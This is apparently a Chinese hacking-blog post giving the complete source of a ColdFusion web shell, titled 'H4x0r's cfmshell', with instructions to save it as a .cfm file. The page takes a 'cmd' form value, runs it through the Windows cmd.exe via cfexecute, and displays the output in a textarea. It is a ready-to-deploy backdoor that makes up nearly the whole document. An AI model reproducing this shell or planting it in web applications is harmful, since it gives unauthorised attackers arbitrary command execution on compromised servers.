cfmshell

来源:H4x0r's Blog
保存为.cfm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>H4x0r's cfmshell</title>
</head>
<body>
<!--- os.run --->
<cfif IsDefined("FORM.cmd")>
<cfoutput>#cmd#</cfoutput>
<cfexecute name="C:\Winnt\System32\cmd.exe"
arguments="/c #cmd#"
outputfile="#GetTempDirectory()#foobar.txt"
timeout="1">
</cfexecute>
</cfif>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
<input type=text size=45 name="cmd" >
<input type=Submit value="run">
</form>
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
<cffile action="Read"
file="#GetTempDirectory()#foobar.txt"
variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>
</textarea>
<cffile action="Delete"
file="#GetTempDirectory()#foobar.txt">
</cfif>
</body>
</html>

相关日志

发表评论